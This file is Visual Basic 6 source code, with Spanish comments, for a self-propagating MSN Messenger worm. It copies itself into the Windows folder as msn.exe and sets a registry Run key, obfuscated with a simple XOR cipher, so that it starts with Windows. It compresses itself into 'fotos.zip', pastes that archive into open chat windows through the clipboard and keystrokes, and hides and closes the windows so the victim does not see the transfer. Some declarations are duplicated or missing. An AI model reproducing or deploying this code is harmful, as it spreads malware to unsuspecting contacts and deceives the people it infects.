Option Explicit
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
' Required data structures
Private Type POINTAPI
x As Long
y As Long
End Type

' Clipboard Manager Functions
Private Declare Function EmptyClipboard Lib "user32" () As Long
Private Declare Function OpenClipboard Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CloseClipboard Lib "user32" () As Long
Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long

' Other required Win32 APIs


' Predefined Clipboard Formats
Private Const CF_TEXT = 1
Private Const CF_BITMAP = 2
Private Const CF_METAFILEPICT = 3
Private Const CF_SYLK = 4
Private Const CF_DIF = 5
Private Const CF_TIFF = 6
Private Const CF_OEMTEXT = 7
Private Const CF_DIB = 8
Private Const CF_PALETTE = 9
Private Const CF_PENDATA = 10
Private Const CF_RIFF = 11
Private Const CF_WAVE = 12
Private Const CF_UNICODETEXT = 13
Private Const CF_ENHMETAFILE = 14
Private Const CF_HDROP = 15
Private Const CF_LOCALE = 16
Private Const CF_MAX = 17

' New shell-oriented clipboard formats
Private Const CFSTR_SHELLIDLIST As String = "Shell IDList Array"
Private Const CFSTR_SHELLIDLISTOFFSET As String = "Shell Object Offsets"
Private Const CFSTR_NETRESOURCES As String = "Net Resource"
Private Const CFSTR_FILEDESCRIPTOR As String = "FileGroupDescriptor"
Private Const CFSTR_FILECONTENTS As String = "FileContents"
Private Const CFSTR_FILENAME As String = "FileName"
Private Const CFSTR_PRINTERGROUP As String = "PrinterFriendlyName"
Private Const CFSTR_FILENAMEMAP As String = "FileNameMap"

' Global Memory Flags
Private Const GMEM_FIXED = &H0
Private Const GMEM_MOVEABLE = &H2
Private Const GMEM_NOCOMPACT = &H10
Private Const GMEM_NODISCARD = &H20
Private Const GMEM_ZEROINIT = &H40
Private Const GMEM_MODIFY = &H80
Private Const GMEM_DISCARDABLE = &H100
Private Const GMEM_NOT_BANKED = &H1000
Private Const GMEM_SHARE = &H2000
Private Const GMEM_DDESHARE = &H2000
Private Const GMEM_NOTIFY = &H4000
Private Const GMEM_LOWER = GMEM_NOT_BANKED
Private Const GMEM_VALID_FLAGS = &H7F72
Private Const GMEM_INVALID_HANDLE = &H8000
Private Const GHND = (GMEM_MOVEABLE Or GMEM_ZEROINIT)
Private Const GPTR = (GMEM_FIXED Or GMEM_ZEROINIT)

Private Type DROPFILES
pFiles As Long
pt As POINTAPI
fNC As Long
fWide As Long
End Type

Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
Private Declare Function DragQueryPoint Lib "shell32.dll" (ByVal hDrop As Long, lpPoint As POINTAPI) As Long
Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
Private Declare Function GlobalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Function ClipboardCopyFiles(Files() As String) As Boolean

Dim data As String
Dim df As DROPFILES
Dim hGlobal As Long
Dim lpGlobal As Long
Dim i As Long

' Open and clear existing crud off clipboard.
If OpenClipboard(0&) Then
Call EmptyClipboard

' Build double-null terminated list of files.
For i = LBound(Files) To UBound(Files)
data = data & Files(i) & vbNullChar
Next
data = data & vbNullChar

' Allocate and get pointer to global memory,

' then copy file list to it.
hGlobal = GlobalAlloc(GHND, Len(df) + Len(data))
If hGlobal Then
lpGlobal = GlobalLock(hGlobal)

' Build DROPFILES structure in global memory.
df.pFiles = Len(df)
Call CopyMem(ByVal lpGlobal, df, Len(df))
Call CopyMem(ByVal (lpGlobal + Len(df)), ByVal data, Len(data))
Call GlobalUnlock(hGlobal)

' Copy data to clipboard, and return success.
If SetClipboardData(CF_HDROP, hGlobal) Then
ClipboardCopyFiles = True
End If
End If

' Clean up
Call CloseClipboard
End If

End Function

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Dim vez As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Const SW_HIDE = 0
Private Const SW_SHOW = 5
Dim Window As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Const KEY_ALL_ACCESS = &H3F
Const HKEY_LOCAL_MACHINE = &H80000002
Const REG_SZ = 1
Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpValue As Long, ByVal cbData As Long) As Long
Private Function setvalueEx(ByVal hKey As Long, sValueName As String, lType As Long, vValue As Variant) As Long
    Dim lValue As Long
    Dim sValue As String

    Select Case lType
        Case REG_SZ
            sValue = vValue
            setvalueEx = RegSetValueExString(hKey, sValueName, 0&, lType, sValue, Len(sValue))
        Case REG_DWORD
            lValue = vValue
            setvalueEx = RegSetValueExLong(hKey, sValueName, 0&, lType, lValue, 4)
        End Select
End Function

Private Function Cript(txt, Optional semilla = 45) As String
On Error Resume Next
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = 155 - Asc(l)
txt2 = txt2 + Chr(l)
Next
txt = txt2
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
l = Asc(l) Xor semilla
Cript = Cript & l & Chr(164)
DoEvents
Next
End Function

Private Function DesCript(txt, Optional semilla = 45) As String
On Error Resume Next
For i = 1 To Len(txt)
l = Mid(txt, i, 1)
If l = Chr(164) Then
l = pal Xor semilla
C = semilla Xor pal
l = Chr(l)
DesCript = DesCript & l
pal = ""
Else
pal = pal & l
End If
DoEvents
Next
For i = 1 To Len(DesCript)
l = Mid(DesCript, i, 1)
l = 155 - Asc(l)
txt3 = txt3 + Chr(l)
Next
DesCript = txt3
End Function





Private Function RegWrite(lPredefinedKey As Long, sKeyName As String, sValueName As String, vValueSetting As Variant, lValueType As Long)

       Dim lRetVal As Long
       Dim hKey As Long

     

       lRetVal = RegOpenKeyEx(lPredefinedKey, sKeyName, 0, KEY_ALL_ACCESS, hKey)
       lRetVal = setvalueEx(hKey, sValueName, lValueType, vValueSetting)
       RegCloseKey (hKey)

End Function


Private Sub Form_Load()
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe",C:\Windows\msn.exe
Timer1.Interval = 60000 ' intervalo del primer timer a un minuto
Timer2.Interval = 100
Timer3.Interval = 30000 'intervalo del timer 3 30 segundos
Timer3.Enabled = False 'el timer 3 se para
Text1.Text = Cript(Text1.Text, 3) 'se cifra el contenido del text1
RegWrite HKEY_LOCAL_MACHINE, DesCript(Text1.Text, 3), "Windows", "C:\WINDOWS\msn.exe", REG_SZ 'se desncripta el contenido del text1 y se crea una clave en run para que el gusano se inicia cada vez que se inicie windows
Dim Rutaexe As String
Dim Rutazip As String
Rutazip = "C:\windows\" & "fotos" & ".zip"
Rutaexe = "C:\windows\msn.exe"
Shell ("C:\Archivos de programa\Winrar\WinRar.exe a -m5 -ep " & Rutazip & " " & Rutaexe), vbNormalFocus 'se ejecutara el winrar y es comprimira el archivo msn.exe como fotos.zip
Shell ("C:\Archivos de pograma\Winzip\Winzip32.exe -a" & Rutazip & "" & Rutaexe), vbNormalFocus 'igual que el anterior pero esto es por el infectado en vez de tener el winrar tiene el winzip
GoTo error2:
error:
MsgBox Err.Description, vbCritical, "Error" 'si no se puede comprimir saldra un mensaje de error
error2:


End Sub


Private Sub Wait(ByVal nSec As Integer)
Dim t1 As Date, t2 As Date

t1 = Second(Now)
t2 = t1 + nSec

Do
    DoEvents
Loop While t2 > Second(Now)
End Sub



Sub newpropMSN()
Dim ap(0) As String

ap(0) = "C:\Windows\fotos.zip"
If ClipboardCopyFiles(ap) = True Then ' se copia en el portapapeles el archivo fotos.zip
End If
Wait (1) 'se espera un segundo para dar un respiro a la memoria
SendKeys "^V" ' se presiona control + V para pegar el archivo k teniamos en el portapapeles
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
AppActivate "Conversación"
If vez = "4" Then 'se ponen contadores cada minuto cuando se han puesto 4 contadores es decir cuando han pasado 4 minutos se ejecutara el siguiente codigo
If Label1.Caption = "Conversación" Then 'si el labe1 pone conversacion se ejecutara lo sigiente
Label2.Caption = Form1.Caption ' label2 sera = al nombre del form
newpropMSN ' se llama a la fncion newpropMSN
Window = FindWindow(vbNullString, Form1.Caption) 'llamamos a la ventana que contiene el nombre del fom1 en este caso tendra que ser la ventana de conversacion del messenger
ShowWindow Window, SW_HIDE 'esa ventana se ocultara
Timer3.Enabled = True 'se activara el timer3
vez = 0 'los contadores se ponen a 0
End If

Else
vez = vez + 1 ' se añade un contador si no estan los 4 puestos
End If

End Sub


Private Sub Timer2_Timer()
Dim lnghWnd As Long, Texto As String
lnghWnd = GetForegroundWindow
Texto = String(255, Chr(0))
GetWindowText GetForegroundWindow, Texto, 255
Me.Caption = Texto ' con este codigo pondremos de nombre al form1 el mismo nombre que la ventana activa
Label1.Caption = Right$(Form1.Caption, 12) 'el label1 sera = a los ultimos 12 caracteres del nombre del form1

End Sub

Private Sub Timer3_Timer()

ShowWindow Window, SW_SHOW 'se mostrara la ventana oculta
Wait (1) ' se espera un segudo
SendKeys "%{F4}" 'se enviara este comando para que cierre la ventana y no se vea que se a transferido un archivo
SendKeys "{LEFT}" 'en el caso de que la persona no estubiese en su pc y no haya aceptado ni rechazado pasados 30 segundos al cerrarse la ventana saldra una mensaje diciendo que hay actividades en curso por lo que se enviara la flecha izquierda

SendKeys "{ENTER}" ' y se pulsara enter para que el infectado no vea el aviso del messenger
Timer3.Enabled = False 'se parara el timer 3

End Sub